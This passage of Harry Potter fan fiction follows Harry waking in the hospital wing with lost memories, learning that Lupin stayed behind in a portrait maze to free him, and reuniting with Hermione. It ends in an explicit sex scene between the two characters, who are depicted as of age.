Mungo\'s or even at a Muggle hospital?"<br/> <br/> "It\'s not that simple, Harry."<br/> <br/> "How long have I been here? Can you at least tell me that?" he demanded and her eyes went to the door to see if anyone was standing there, listening. He could see her tears starting up again and one spilled over and onto her cheek. She did nothing to wipe it away. <br/> <br/> "A week."<br/> <br/> "If it\'s only August, why are we at Hogwarts?" he asked, confused. He watched Hermione open and close her mouth, obviously debating what she should tell him, if anything. She closed her eyes briefly and sighed. He wished he could reach out and wipe away that tear or at least hold her hand but his arms were too weak. "Please, Hermione, I deserve some answers. The least you can do is tell me why we\'re here."<br/> <br/> "We\'re here because it\'s October, Harry. It\'s the third of October," she whispered. <br/> <br/> "But... how?" Harry asked and she pursed her lips together, trying her hardest to not tell him more. She wasn\'t going to get the opportunity to anyway.<br/> <br/> "Miss Granger, perhaps it would be best if you went and informed your friends that Mr. Potter is now awake," Madam Pomfrey said, returning to the room and bustling over quickly. She stood stiffly at Harry\'s bedside until Hermione stood up.<br/> <br/> As his girlfriend ran her fingers across his hand, he could feel her warmth radiate through him. He wished she would stay by his side but could tell that Madam Pomfrey was concerned Hermione would let some information slip. "Ron and I will come to see you in a little while. I\'m sure Ginny will want to come, too. We\'ve all been so worried about you."<br/> <br/> Harry could tell she wanted to say or do more but not necessarily in front of someone else. "I\'ll see you later," Harry said and she smiled at him and left. <br/> <br/> "Professor Dumbledore is on his way back from London. He will be coming to speak to you as soon as he arrives," Madam Pomfrey said, tucking his blankets around him. <br/> <br/> "Is it really October?" Harry asked as she fussed with his pillows. This was better treatment than he usually received and he was beginning to think that maybe something bad happened between then and now. <br/> <br/> "I\'m sorry, Mr. Potter. I\'m under strict orders from the headmaster not to tell you anything and unlike your friend, I intend to follow those orders," she said. Content that his pillows were fine, she left Harry alone with his thoughts. <br/> <br/> ******************<br/> <br/> After waiting an hour for Dumbledore to come talk to him, Harry found it impossible to avoid falling asleep. His body was so sore and his head still hurt. He just wanted to close his eyes for a few minutes...<br/> <br/> She was there, pulling him towards... where? He didn\'t know but he couldn\'t help but follow her. Her violet colored skirt flitted around her ankles as she walked and her laugh was so joyful he could listen to it forever. They walked a long time down a path that was flanked by a thick forest on either side. Everything fascinated her, including him and he found it uncomfortable when he\'d find her staring at him with her mismatched blue eyes. <br/> <br/> "You don\'t really want to leave here, do you?" she asked wistfully and Harry didn\'t know because he didn\'t know where here was exactly. <br/> <br/> "I don\'t know. Where are we going?" he asked but she answered only with a smile before running ahead of him. He gave chase, calling after her as loudly as he could,"You have to tell me! Someone has to tell me."<br/> <br/> She turned to him but when she opened her mouth, it was Dumbledore\'s voice that came out. <br/> <br/> "Harry, wake up. You\'re safe here."<br/> <br/> He opened his eyes to find the headmaster sitting at the edge of his bed, patting his hand reassuringly. Dumbledore helped him put on his glasses and it only took him a few seconds to become coherent enough to unleashed a barrage of questions. <br/> <br/> "What\'s going on? Why am I here? How did I get here? It\'s October and I..."<br/> <br/> "Slow down, Harry. I plan on answering all your questions to the best of my ability but first tell me how you\'re feeling," Dumbledore said, sitting on the edge of Harry\'s bed. <br/> <br/> "My head hurts and my arms and legs are too heavy to move," Harry grumbled. He didn\'t want to discuss his health. He wanted information. <br/> <br/> "All that should pass in time, I imagine. I\'m sure you\'ll be rejoining your class shortly. I dare say they need their Quidditch captain back as soon as possible," Dumbledore said. Harry was afraid to ask what that meant but he had too many other questions to dwell on Quidditch right at the moment.<br/> <br/> "Now will you tell me what\'s going on?" Harry asked, struggling to sit up. He couldn\'t do it so Professor Dumbledore assisted him, tucking a few pillows in behind Harry\'s head. <br/> <br/> "You don\'t remember any of it?" Dumbledore asked. <br/> <br/> "I was at the Muggle library with Hermione and then... I was here. In between, I\'m not sure. Hermione said that it\'s October already. How can that be?" Harry asked, trying to remain patient. Not that long ago, he would have been screaming for answers by now but he knew Dumbledore wouldn\'t hide anything from him. Or he hoped he wouldn\'t. <br/> <br/> "I was hoping after the relative quiet of your last term that perhaps you would be able to spend the remainder of your time at Hogwarts in peace. I know we\'re waging this terrible war but if anyone deserves to have something as simple as that, it\'s you. Alas, it wasn\'t meant to be," Professor Dumbledore said, sadness filling his voice. <br/> <br/> Harry didn\'t care about that right now. He never expected the peace he did have last year and knew life would catch up with him sooner or later. Now, he was impatient for Dumbledore to go on. <br/> <br/> "Do you remember a young man by the name of Andrew Rowntree?" Dumbledore asked slowly, not continuing the story fast enough for Harry. <br/> <br/> "Yeah, I remember him. We met at Hermione\'s house and a few other places around town. I was at the library in Hermione\'s hometown and he came up to me. He told me he was a Squib and he was going to do something for his father. That he had this all been planned out but I ruined the plans by--" Harry said, falling silent before he let it slip how the plans all changed. <br/> <br/> "Drew, as he likes to be called, thought that if he could trap you, it would please his father and help the man get over the fact that his only son was born a Squib. His mother hasn\'t been well for years and he somehow manipulated her to moving into the Granger\'s Muggle neighborhood. He\'s a charming young man and Hermione was his target to get to you," Dumbledore said. <br/> <br/> "Why didn\'t he just move into my neighborhood? Why not Ottery St. Catchpole so he could be near the Weasleys? I was actually at those places," Harry asked. <br/> <br/> "I wondered that myself at first but there\'s more I have to explain before I can get to that. After time, Drew convinced his mother to open up a long forgotten passageway that existed between the magical portraits. A very complex spell was needed to do that since it had been sealed off for hundreds of years. Over the years, many people got lost inside the maze that exists back there, never to be heard from again. It\'s impossible to map out since it\'s constantly being added to and the people, or rather, the portraits aren\'t always helpful to those who get lost. That is why they sealed it off. That is where you\'ve been since the beginning of August," Professor Dumbledore said and Harry closed his eyes, trying to remember any of it. <br/> <br/> The portraits had stopped moving right before the term had ended. In the library, Drew had told him something about the portraits but Harry couldn\'t recall his exact words. They had to keep the portraits from talking? He could vaguely remember a painting in that back room. It was ugly, made up of splashes of dark colors and looked like one at Hogwarts. Drew had shoved him toward the painting and... he couldn\'t remember anything else. <br/> <br/> "Why Hermione?" Harry asked, hoping Dumbledore would tell him now. <br/> <br/> "Quite by coincidence, Miss Granger lives in a town with one of those portals. Plus, there was no way he could ever become friends with you at your aunt and uncle\'s house. He didn\'t have to study you for long to realize you aren\'t allowed friends there. As for Mr. Weasley, I suppose it was because he could fit in better with Hermione\'s Muggle family than he could with a wizard family. <br/> <br/> It was hard, but Harry pulled himself to sit up just a little more, still trying to figure this all out in his head. The plan all hinged on Hermione introducing him to Drew and getting him into the library. With Hermione, the library part was probably the easiest aspect of the plan. The rest of it -- he had no clue how Drew pulled it all together.<br/> <br/> "How did I get out?" Harry asked and Dumbledore didn\'t answer him right away but rather let out a sigh. <br/> <br/> "Once the Order figured out what had happened to you and traced it back to the Rowntree family, it came down to opening up all the gateways in and out of the portraits. Someone went in to find you and lead you to a portal," he said, looking at Harry over his half-moon glasses. <br/> <br/> "Yes? Who was it?" Harry asked. <br/> <br/> "Alastar Moody and Professor Snape... yes, Harry, Professor Snape both wanted to go but Remus Lupin won out in the end. He felt he was partially to blame since it took him so long to figure out who the Rowntrees were after you mentioned the youngest one in an owl you sent him," Dumbledore said and Harry could tell something was wrong by the tone in his voice. <br/> <br/> "Where is he? Where\'s Lupin?" he asked, looking around at the other beds the best he could. Surely Hermione would have said something if he was here with them. <br/> <br/> "He didn\'t come back out."<br/> <br/> Harry was sure he had heard him wrong but judging by the look on his face, he hadn\'t. <br/> <br/> "What?" he asked. <br/> <br/> "The portals were closed off again once you returned through the one into Hogwarts. He sealed them from the inside once you were safely on this side," Dumbledore said. Harry had a hard time hearing him and it didn\'t matter what he said anyway. None of it was making any sense. Lupin had to be here. He couldn\'t lose another person. There was no way this could be happening to him again. <br/> <br/> His body grew cold and he couldn\'t hold back the tears. He was so exhausted and he hurt so much and there was no way he could stop himself from crying. The tears flowed under his glasses and he couldn\'t move to take them off or wipe them away. <br/> <br/> "No. No, no, no!" Harry said in frustration, his voice rising to a shout and echoing off the walls around him. <br/> <br/> "It was his choice and we believe he had a good reason to do so," he said but that didn\'t calm Harry down one bit. <br/> <br/> "But why can\'t I remember it? I would have never let him do that! What happened to my memory? What did you do to me?" he asked, his voice sharp and angry. <br/> <br/> "We didn\'t do anything to you. Perhaps Remus performed a memory charm on you before sending you out --"<br/> <br/> "Why would he do that?"<br/> <br/> "He must have had his reasons, Harry," Dumbledore said, placing an aged hand on Harry\'s shoulder, trying to calm him. <br/> <br/> "No! Stop saying that! You can open it again, right? You have to open it back up!" Harry said through the tears. He didn\'t want to be crying. He couldn\'t even move his hands far enough to wipe the tears that were spilling over and onto his face. <br/> <br/> "I have to trust that he did it for a good reason."<br/> <br/> "There\'s no reason good enough!" Harry sputtered, still struggling to move his arms. He wanted to hide his tears and but he couldn\'t move at all. He expected Dumbledore to look away but rather, he helped Harry up and after looking him in the eye for a few seconds, he pulled him into a tight embrace. Harry struggled against him, embarrassed to be seen like this but he finally succumbed to his emotions. Why couldn\'t Hermione be here? Why couldn\'t she be holding him and why couldn\'t she have told him? What could Remus Lupin have been thinking and why would he do this to Harry?<br/> <br/> "I have to trust that he knew what he was doing. I have to," Dumbledore said softly, letting Harry\'s tears soak his heavy robes. <br/> <br/> "But we have to get him! We can\'t leave him in there!" Harry said and Dumbledore slowly helped him back down onto his pillows. Harry eyes were stinging and he didn\'t want to look at Dumbledore. He was too angry to look at him. "We can\'t..."<br/> <br/> Neither of them said a word for several agonizing minutes. Harry could tell that Dumbledore wasn\'t going to change his mind about this no matter what kind of a tantrum he had. Harry would just have to think of something else.<br/> <br/> "Perhaps you would feel better if Miss Granger came for a visit? She\'s been spending all her spare time at your bedside for the past month. I have no idea how Poppy ever got her to leave from here to attend her classes," Dumbledore said and Harry looked at him, puzzled. <br/> <br/> "Does everyone know ?" he asked softly.<br/> <br/> "If we didn\'t know it before, we certainly knew it from the moment you disappeared. She wanted to go in, too, Harry. It took quite a few strong wizards to keep her from going after you," he said, smiling thoughtfully. "Now that I\'ve told you what I know, she\'s free to tell you anything else."<br/> <br/> "And my memory? Is there anything you can do to restore it?" Harry asked.<br/> <br/> "Yes, but I\'m not sure I want to do that just yet. Get some rest, Harry. You\'re going to need it to catch up on a month\'s worth of missed Potions assignments."<br/> <br/> ***************<br/> <br/> Harry decided what he was going to do while he was staring at the oil painting hanging on the wall above the door. There was really only one thing he could do. Ron and Ginny had come to visit earlier but he couldn\'t take his eyes off of the painting. The figures in it were moving around as if nothing had happened and according to Ron, a few of the portraits still were frozen, including the Fat Lady at the door to Gryffindor Tower. No one was sure what had happened to them and why some were in working order while others remained as still as Muggle paintings. None of the ones that were back to normal knew a thing about what had gone on behind them. <br/> <br/> All Harry had to do was figure out where the painting that acted as a portal was and how to open it up again. He had a clue as to the where part but the how part was going to take some work -- or the creative mind of his brilliant girlfriend. He knew she\'d never go along with this plan without some insistence on his part but in all these years, she had never failed to be at his side when the it came down to it and this time would be no different. <br/> <br/> He heard soft footsteps on the stone floor and looked away from the painting to find Hermione standing at the end of his bed. <br/> <br/> "I\'m sorry I didn\'t come back sooner but Ron and Ginny said they would keep you company and I had some school work to catch up on," Hermione said, not looking directly into his eyes. Harry shrugged, trying to hold his emotions in check now that she was here. "So, you know?"<br/> <br/> Harry choked back the tears that were beginning to form and he nodded. She came around to the side of his bed and sat on the edge of it, holding his hand. A few hours of rest and many more of Madam Pomfrey\'s potions and he could now hold her hand in return, squeezing it gently. <br/> <br/> "Why would Lupin do this to me?" Harry asked once he trusted his voice not to betray his emotions entirely. It didn\'t hurt as much as losing Sirius but it hurt nonetheless. Lupin had been a good friend and Harry couldn\'t bear to think that he felt he was the cause of what happened in the library. <br/> <br/> "I don\'t know, Harry. You probably know more than I do since you talked to Professor Dumbledore but you know Lupin wouldn\'t have done anything too foolish. When he went in there, he said he\'d do whatever he had to in order to get you back and I have no doubt that he meant that," Hermione said, lacing her fingers through his. <br/> <br/> "But why did it have to be him?" <br/> <br/> "I wasn\'t part of that decision making process. You know I\'m not part of the Order," Hermione said. The moon cast a somber glow through the windows, casting long shadows everywhere. <br/> <br/> "I wonder, if he\'s still alive, what a full moon will do to him in there?" Harry asked, nodding toward the window. <br/> <br/> "I wish you could remember any of it because you might already know the answer to that question," Hermione said and Harry tried to figure out in his head when the last full moon occurred. <br/> <br/> "Professor Dumbledore said there might be ways to restore some of my memories but he didn\'t want to do that now. He\'s protecting me from something as if I\'m a child and I don\'t want to be protected. Hermione, can you --"<br/> <br/> "I won\'t do it. Not if he says no," Hermione said, head shaking out a \'no\' before Harry could get out the question. <br/> <br/> "Well, why not?" he asked. He didn\'t need her treating him like a child, too. <br/> <br/> "He has his reasons."<br/> <br/> "Everyone seems to have their own bloody reasons for everything and I\'m the one stuck here in this bed without a clue," Harry said, pulling his hand from hers. "I\'m always the last to know everything. Speaking of knowing anything, what ever happened to Drew? Did he make his dad happy?"<br/> <br/> Hermione sighed and took his hand in hers again, ignoring his tantrum. "I wouldn\'t know. He and his father disappeared right after it happened. His mum was the only one that could be found and it\'s a good thing, too, because she led the search back to that room in the library."<br/> <br/> "To think you almost... with him," Harry said, sounding downright angry with the world at the moment. He didn\'t care. He was angry. <br/> <br/> "I didn\'t even come close and you know it," Hermione said, clucking her tongue at him. <br/> <br/> "Close enough."<br/> <br/> "But yet, I didn\'t. Not after you. Is that what you want to hear? That there will never be anyone else but you for the rest of my life?" she asked, sounding rather distraught over where the conversation was headed. <br/> <br/> "Yes."<br/> <br/> "Maybe I should come back when you\'re in a better mood," Hermione said, going to stand up. He wouldn\'t let her get away that easily and tugged her back down by her hand. <br/> <br/> "I\'m sorry. I\'m still... I\'m stunned. Lupin is gone. I\'m missing two months of my life. I missed the start of my last term here. I missed... I missed your birthday, Hermione. I wanted your birthday to be so special this year," Harry said, unable to fight back his emotions any longer. <br/> <br/> "I don\'t care about my birthday now that you\'re here. I didn\'t even notice it was my birthday since I was so worried about you. We\'ll make up for it next year when we\'re no longer in school. Besides, your birthday made up for a million of my birthdays," Hermione said, leaning over to kiss him. <br/> <br/> "My birthday -- it seems like just yesterday," Harry said as Hermione settled in next to him. He knew they shouldn\'t be doing this in the hospital wing but he didn\'t care if Madam Pomfrey caught them together. The most she could do would be send Hermione back to the Gryffindor dormitories. <br/> <br/> "It feels like forever ago," Hermione said, snuggling in against him. <br/> <br/> "I take it you didn\'t... you aren\'t... you know?" he asked, avoiding saying the words the best he could.<br/> <br/> "I\'m not what?" she asked. <br/> <br/> "That one time, we didn\'t exactly use any protection," he whispered. "Remember?"<br/> <br/> "Oh! No, I\'m not. I wasn\'t. I didn\'t even think about it again but that was really stupid of us since you were technically of age to use magic at that point. It must have slipped our minds somehow," she said. He felt a strange feeling pass through him, as if he had discussed this with someone already. <br/> <br/> "It\'s nice having you here. I was getting lonely," Harry said, turning his face toward her. She smelled so good and felt so warm and soft in his arms and he never wanted to let her go again. Unfortunately, that wasn\'t going to work well with his plans. <br/> <br/> "This sounds so childish but when you were gone, I wasn\'t sure how I was going to go on. Time moved so slowly and every minute was more painful than the last. The days were long and the nights were unbearable. If it weren\'t for Fred and George and some other members of the Order, i would have never known what was going on. I felt so helpless and lost," she said, crying now.<br/> <br/> "I\'m sorry," he said, wishing he could make it up to her somehow but not knowing how. <br/> <br/> "There were times when I told myself that if you were found and brought back, this thing would have to end because I\'m not sure I could stand the pain of losing you ever again," Hermione said and Harry could feel her tears soaking through his pajamas. <br/> <br/> "Hermione..."<br/> <br/> "But here I am because being with you is worth that risk." <br/> <br/> Something rattled around in the other room and Hermione moved quickly from his arms to the chair at the side of his bed. Both of them didn\'t even dare breathe until they were sure no one was coming in. <br/> <br/> "I can\'t wait until we can finally be alone again. I need to be with you again," she said, the tone of her voice such that it made his heart ache with desperation for her. <br/> <br/> "I won\'t be in here much longer. I\'ll do anything to not have to take anymore of Madam Pomfrey\'s potions, including crawl out of here and back to my room. Speaking of rooms, did you make Head Girl this year? And who\'s Head Boy? Ron didn\'t say -- was it him?" Harry asked. It was one of the millions of questions he had about the time he was gone. <br/> <br/> "Ron didn\'t but I am Head Girl even though certain professors thought I would be too distraught to handle the pressure. I\'ve done just fine and I have my very own room," Hermione said, sounding rather proud of herself.<br/> <br/> "But the stairs--"<br/> <br/> "I already took care of that."<br/> <br/> "My memory might be a bit spotty at best but at least I do remember that sometimes, I\'m a girl," Harry joked and Hermione ran her hand down his arm, taking his hand in hers once more.<br/> <br/> "I hope not. That would ruin some plans I have for when you\'re feeling better," she said, her eyes meeting his and flashing with desire. That look coupled with her words was enough to send a quick flash of arousal through him. He shifted in bed, pulling the blankets up around him.<br/> <br/> "I better go before I climb into that bed with you," she said but she didn\'t move. <br/> <br/> "You had better do that before I pull you into this bed with me," he said, releasing her hand. <br/> <br/> She stood to leave, giving him a lingering kiss before she bid him goodnight and walked away. He sighed and rolled over, looking at the painting once more. How could he leave her again? He must have been mad. The only answer was that she would have to come with. Now he had to figure out how to ask the question. <br/> <br/> ***************<br/> <br/> Hermione supported Harry by tucking her arm around his waist, helping him walk between the rows of beds in the hospital wing. Ron sat on one of the beds, looking on as he ate the chocolate frogs people had sent Harry. Madam Pomfrey looked in on them occasionally to make sure Harry wasn\'t over doing it but she looked pleased that he was recovering so quickly. He had no choice. Time was flying by and he wasn\'t going to be able to help Lupin if he was stuck in bed. <br/> <br/> "When do you think you\'ll be ready to play Quidditch again?" Ron asked through a mouthful of chocolate. <br/> <br/> "Really, Ron, that\'s the least of Harry\'s worries right now. He\'ll have to catch up on all those classes he missed first," Hermione scolded and Harry couldn\'t fail to notice Ron roll his eyes as he muttered something about priorities. <br/> <br/> After another turn or two up and down the cold stone floor, Hermione helped Harry back to his bed. She tucked him in like a doting mother and Ron looked away when Harry\'s face burned with embarrassment. <br/> <br/> "Thanks," Harry said when she finished and she gave him a kiss on the cheek. <br/> <br/> "I have to go to the library to work on an essay. I, too, have fallen behind in the last month. Ron, can you get me when you\'re finished here?" Hermione asked and Ron nodded, trying to swallow more of a frog.<br/> <br/> Once she was gone, Ron moved to the bed right next to Harry\'s and offered him some of the sweets. Harry had found it hard to eat since he woke up and the thought of chocolate turned his stomach so he shook his head in refusal. <br/> <br/> "No wonder she\'s so far behind. I thought she was going to go mad while you were gone. We all felt that way, really. My mum was beside herself and the Grangers -- those poor Muggles. The entire Order set up operations in their house until they figured out what had happened to you," Ron said, filling in more of the pieces of the story. He had heard most of it from Hermione, but hers was the tearful version. <br/> <br/> "I reckon it was a shock having Snape lurking about their parlor," Harry said and Ron laughed. <br/> <br/> "Too right. But the Grangers were worried they had lost \'the boy who lived\' and were even more worried about their daughter. Seems that you two weren\'t exactly truthful about your relationship," Ron said slyly and Harry winced. He hadn\'t thought about them finding out and Hermione made no mention of it. "Mum was so worried something might happen to all of us that she even made me come back from Romania."<br/> <br/> Harry sensed that he was forgetting something or that Ron was waiting for him to remember something important. He closed his eyes and tried to think about it, wishing that Ron would just tell him. He had been in here several times since Harry had come to but he never said anything. It didn\'t help that Hermione was usually here, embarrassing both of them by acting more like a mother than a girlfriend...<br/> <br/> "Girlfriend! You met a girl in Romania... now I remember!" Harry said, sitting up in bed and facing Ron, whose ears were now tipped in red. Ron smiled widely, though, nodding his head. <br/> <br/> "Tullia," Ron said dreamily. <br/> <br/> "Go on then. Tell me more," Harry said. <br/> <br/> "She attends school in Italy and she\'s a rather talented witch -- not like Hermione but in a different way. My mum said she might let me go and visit her family over Christmas holidays or maybe she can come to The Burrow. That way, you and Hermione could come and meet her. Wouldn\'t that be great!" Ron said excitedly. He was nervously playing with a bit of loose yarn at the bottom of his jumper, twisting it around his finger as he talked. Harry enjoyed this, being able to shove all thoughts of Lupin and what he had to do to the back of his mind for a few minutes as he talked with his best friend. <br/> <br/> "I\'d like to meet her."<br/> <br/> "You\'re going to like her a lot," Ron said, a faraway expression on his face. He was smiling at whatever thought was going through his head.<br/> <br/> "Is there anything else you want to tell me?" Harry asked, amused at how fidgety Ron had become. Ron\'s entire face turned a bright scarlet as he looked away from Harry, a good part of the bottom of his jumper coming unraveled around his fingers. "I told you it was great, didn\'t I?"<br/> <br/> Ron looked at Harry again, his eyes twinkling with some secret memory. "Yes, you did and you weren\'t lying." <br/> <br/> ***************<br/> <br/> The clamor in the Gryffindor common room had died down and at last, Ron trudged on up to bed, having eaten far too many of the sweets Mrs. Weasley had sent in celebration of Harry\'s release from hospital. Harry and Hermione were the only two people left in the room now and although they had been alone many times in the hospital wing in the last few days, this felt different. Even though in his mind, he had just been with her at her house a few days ago, he knew it was different for her. Two months had gone by and she looked nervous now that she was finally and completely alone with him. <br/> <br/> Before he could say or do anything, Hermione was up off the couch they had been sharing and looking at the clutter left behind by the others. She took out her wand and went about cleaning up the room and Harry knew part of the reason was so the house elves wouldn\'t have to do it later. He watched as his girlfriend efficiently made several empty tins and various other containers stack themselves into a neat pile, wishing she would stop and come sit by his side again. <br/> <br/> "Scourgify," she said, pointing her wand at a spot on the worn carpet in front of the crackling fire that was burning bright in the fireplace. The stain disappeared and she looked around the room to see if there was anything else that needed to be cleaned up. <br/> <br/> "Hermione, stop cleaning and come over here," Harry said and she hesitated for just a moment before tucking her wand away and coming back to the couch. She sat stiffly and brushed something off the soft fabric of the couch. "Is something wrong?"<br/> <br/> She didn\'t speak for a long time. Instead, she stared into the fire as if she was expecting someone to show up in there. He watched the firelight play on her face, setting her eyes aglow. <br/> <br/> "It was so hard, trying to accept that you might not come back... that you might be dead. But for you, no time has passed. You feel as if we were together last Tuesday. It\'s not that I wish you felt the same way I did; it\'s just that it hard to have missed you so much and you... you have no clue what you felt at all."<br/> <br/> "I missed you," Harry said reassuringly, pulling her into his arms and holding her close. "I might not remember it yet but I know I did. I\'m certain I missed all of this -- the start of term at Hogwarts, Ron, Quidditch and most of all, you. I\'m sorry you had to go through what you did. I know how I\'d feel if you were missing." <br/> <br/> Harry felt her settle against him, her body warm against his chest. He found it amazing what she could do to him; how she made him open up and say things he never thought he\'d say in his life. <br/> <br/> "There were times when I was certain I could hear your voice calling for me," she said softly. "And I spent a lot of time thinking about what it would be like if you were found but it wasn\'t anything like this. I\'m not sure what I was expecting." <br/> <br/> Harry watched the flames leap about in the fireplace and thought about telling her his plans but decided against it. She wasn\'t ready for that yet and he wasn\'t sure he was ready, either. If he went alone, she would never forgive him. Besides that, without her skills, chances are he\'d never figure it out in the first place. He needed her. <br/> <br/> But right now, she needed him to be here. <br/> <br/> Harry was beginning to get sleepy from the combined warmth of Hermione and the fire. She was growing heavier in his arms and he thought perhaps she had fallen asleep. He moved a little and that was enough to stir her into wakefulness again and she sat up beside him.<br/> <br/> "I\'m sorry. I didn\'t mean to fall asleep but it\'s so nice being with you. After you were gone for so long, I was convinced this would never happen again and now here we are and I\'m sleeping," she said. He squeezed her hand to let her know it was okay. <br/> <br/> "Next time I get sent into a trap, you know I\'m taking you with me, don\'t you?" Harry asked and Hermione turned to him and smiled. <br/> <br/> "I would hope so," she said and he leaned in to kiss her. It was soft and tenuous at first, lips barely brushing, and he felt as nervous as he did when he kissed her the first time long ago though he wasn\'t sure why. Maybe because she was so nervous. She was right; in his mind, they were together just a few days ago. The memories of that morning and the shower and then her bed were still fresh to him and just thinking about that day made a soft moan rise up into his throat. Her mouth parted slightly and their tongues touched for just a second before the kiss ended. <br/> <br/> She moved away, pressing her hand to his cheek. "It\'s going to be nice getting to know you again."<br/> <br/> "We don\'t have to get to know each other again all in one night. If you\'re nervous or having second thoughts..."<br/> <br/> "Second thoughts about what?" she asked as if she genuinely couldn\'t believe he\'d ask such a thing. He looked away, trying to find the right words. Maybe it would be best if this whole thing ended and he wouldn\'t have to worry about hurting her again. That would be the right thing to do. This time, he didn\'t want to do what was right. <br/> <br/> "Nothing. No second thoughts ever, right?" <br/> <br/> "Right. Never." With that she stood up in front of him, the firelight framing her and adding golden highlights to her hair. "I have some of your things in my room and you\'re going to need them for class tomorrow. Would you like for me to bring them down... or would you like to come with me to my room to get them?"<br/> <br/> Her voice was so sweet and alluring that he didn\'t have to think about his answer for long.<br/> <br/> ***********<br/> <br/> "Your broom," Hermione said, handing over his Firebolt. "Tonks and George broke into your aunt and uncle\'s house to get your things out of there. I\'m sure George will want to tell you all about because it was quite an adventure but we were afraid that once they found out you were missing, they\'d put it all in the bin."<br/> <br/> "I\'m sure they were disappointed to hear of my return," Harry said, his hand running over the smooth handle of his broom. He had hid it away the other day... a while ago before he left for Hermione\'s. The handle hadn\'t been this polished when he last saw it and he realized that Hermione must have done that for him. <br/> <br/> "Is it... okay?" <br/> <br/> "It\'s wonderful, Hermione. I didn\'t know you knew anything about broom maintenance," he said, examining the neatly trimmed twigs.<br/> <br/> "It gave me something to do and I wanted it to be in good condition for when you returned," she said, turning toward her bed. Hermione retrieved something from her bedside table and brought it to him. "Professor Dumbledore said I could return this to you."<br/> <br/> Harry put aside his broom so he could take his wand from her. "I really could have used this." To others, it would have sounded like an offhand comment but they both looked at each other, Hermione cocking her head to the side waiting for him to explain. "I think," he added quickly, shrugging his shoulders.<br/> <br/> "Are you starting to remember?" she asked.<br/> <br/> "Sometimes I remember a feeling. I know I missed you and I\'m sure I could have used my wand but I can\'t tell you what for. I wish I knew more because that would be helpful when..." he stopped himself before he told her too much. <br/> <br/> "Helpful when... what?" she asked.<br/> <br/> "It would be helpful for when people ask me what happened. So many people have asked and honestly, your side of the story is far more interesting than mine. At least you know what you were doing," Harry said, not exactly lying about why he wished his memory was restored but not telling her everything. <br/> <br/> "I\'ve been doing some research on memory charms and counter-charms," Hermione said casually. She didn\'t add anything more but rather went to the other side of her bed and pulled his trunk to his feet. "This should be everything. Tonks and George might have left a few things but I\'m sure they got the most important items. You had brought your favorite things to my house anyway but I put them back in the trunk. Your album is in there."<br/> <br/> He had stopped listening at the moment she put the trunk in front of him.<br/> <br/> "What did you find out about my memory?" he asked. She had said she wasn\'t going to help because of Dumbledore and now she was doing research. He knew it would be a challenge for her to figure it out plus she was very interested in what had happened. She might not say it but he knew it<br/> <br/> "Most of the texts say that once an obliviate charm has been cast, it\'s impossible to restore those memories," she said in her usual matter-of-fact tone she got when discussing anything that came out of a book.<br/> <br/> "Oh."<br/> <br/> "But that\'s assuming this is a result of Lupin or someone casting a memory charm on you. What if it\'s simply a side effect of being wherever you were for so long? Even Mrs. Rowntree said she\'d never been in there for more than a few hours. Most people who were gone longer than a few days never came back out. If they did, it was always assumed they\'d be barking mad," Hermione said. Harry could tell by the look in her eyes that she was going to figure this out. It was a puzzle for her to solve and she would do it. "I\'m assuming you aren\'t barking mad?"<br/> <br/> "No, not yet. So, is there anything you can do?" Harry asked. <br/> <br/> "I\'ll have to study it more. There are a few books in the Restricted Section I\'d like to get my hands on. Perhaps I\'ll get permission tomorrow," Hermione said and Harry felt a heavy cloak of disappointment fall over him. He just wanted to remember. He was kicking at the edge of a small red rug in her room, trying to hide his frustration but failing at it miserably. He only stopped when Hermione took him by the hand and pulled him toward her bed. <br/> <br/> "What are you doing?" he asked. He thought they were still discussing his memory. <br/> <br/> "You have a lot of catching up to do, Harry," she said as she pushed him down so he was sitting on the edge of her bed. Crookshanks, who had been sleeping in a curled up ball of orange fluff went running. <br/> <br/> "I do?"<br/> <br/> "Yes, you do," she said, stepping in closer to him and pulling her jumper off. He reached out and stroked where the satin fabric of her bra met her skin and she shivered under his touch. <br/> <br/> "What do I have to catch up on?" he asked, licking his lips as she reached around and unclasped her bra. <br/> <br/> "First, you have to learn how to apparate so you can be tested..." she said, stopping as he pulled away his fingers so her bra could drop to the floor. <br/> <br/> "Did you pass the test?" he asked. He didn\'t know since he wasn\'t here for her birthday and it never occurred to him to ask. He had a lot of things he needed to ask about and he kept forgetting all the questions in his head. <br/> <br/> "I didn\'t take it yet. I was at school and then you came back and after that, I thought I\'d wait for you," she said. He hooked a finger into the waistband of her jeans and tugged her closer. <br/> <br/> "Thanks for waiting. I\'m sure I\'m going to need some help, with me being a little out of practice and all," he said.<br/> <br/> "I haven\'t practiced in a while either but I\'m sure we\'ll both do fine with a few refresher courses," Hermione said.<br/> <br/> "I hope so," he said. <br/> <br/> When she was as close as she could get without falling on top of him, he reached out and touched one nipple and then the other. Looking up, he found that she was watching him with wide eyes. When he pulled a hardened nipple in between his lips and let his tongue flutter against it, she moaned. "I missed you," she said, combing her fingers through his already tangled hair. "I missed you so much it hurt."<br/> <br/> He struggled to get her jeans off of her without pulling his mouth from her skin. With some help from her, Harry managed to do it, sliding them down past her hips. She couldn\'t get them off because she still had her shoes on but he didn\'t care at the moment. He brushed his finger down her abdomen, feeling her draw in a quick breath before he got to where he was going. <br/> <br/> She sank down against his fingers as soon as he touched her and let out that breath in a drawn out sigh. His eyes locked onto hers and it felt as if neither of them was ever going to blink. He stroked her again and again and they only broke eye contact when she fell forward, her hands resting on his shoulders. He didn\'t stop, but slid his fingers into her, feeling how hot and wet she was. As anxious as he was to be inside of her, he could wait a while longer. <br/> <br/> He slid off the bed to his knees and helped her get out of her shoes and she stepped all the way out of her jeans. She sank to her knees in front of him and he began to touch her again, this time while kissing her so completely that he felt they had melted into one. Mouths and hands and fingers were all desperate for more and he groaned when she pressed her hand against the front of his jeans. Pulling her hand away, she ended the kiss abruptly and leaned back enough to watch his face. Hermione\'s mouth fell open ever so slightly as she struggled to catch her breath. "Faster," she begged, putting her hand on top of his to show him what she wanted, never taking her eyes off of his. Not until she came. <br/> <br/> She pulled his hand away and fell against him. He held her in a tight embrace until she was completely still. "You have on too much clothing for what I plan to do to you," she said tugging at the back of his shirt.<br/> <br/> "I was busy in case you didn\'t notice," he said, letting her go so she could pull his shirt over his head. Next, she focused on getting him out of his jeans.<br/> <br/> "I noticed," she said. "Should we try moving this to the bed?"<br/> <br/> "Er-- yeah, that would be good," he said, though he didn\'t really care where they went next. All he could focus on was her hand brushing against him as she pulled down his zipper. She couldn\'t get much further than that so he stood up, kicked his shoes off as quickly as he could and stripped out of the rest of his clothing. Offering her a hand up, he pulled her into his arms and they tumbled onto the bed together. <br/> <br/> "Being Head Girl really does have its advantages," she said, straddling his hips. 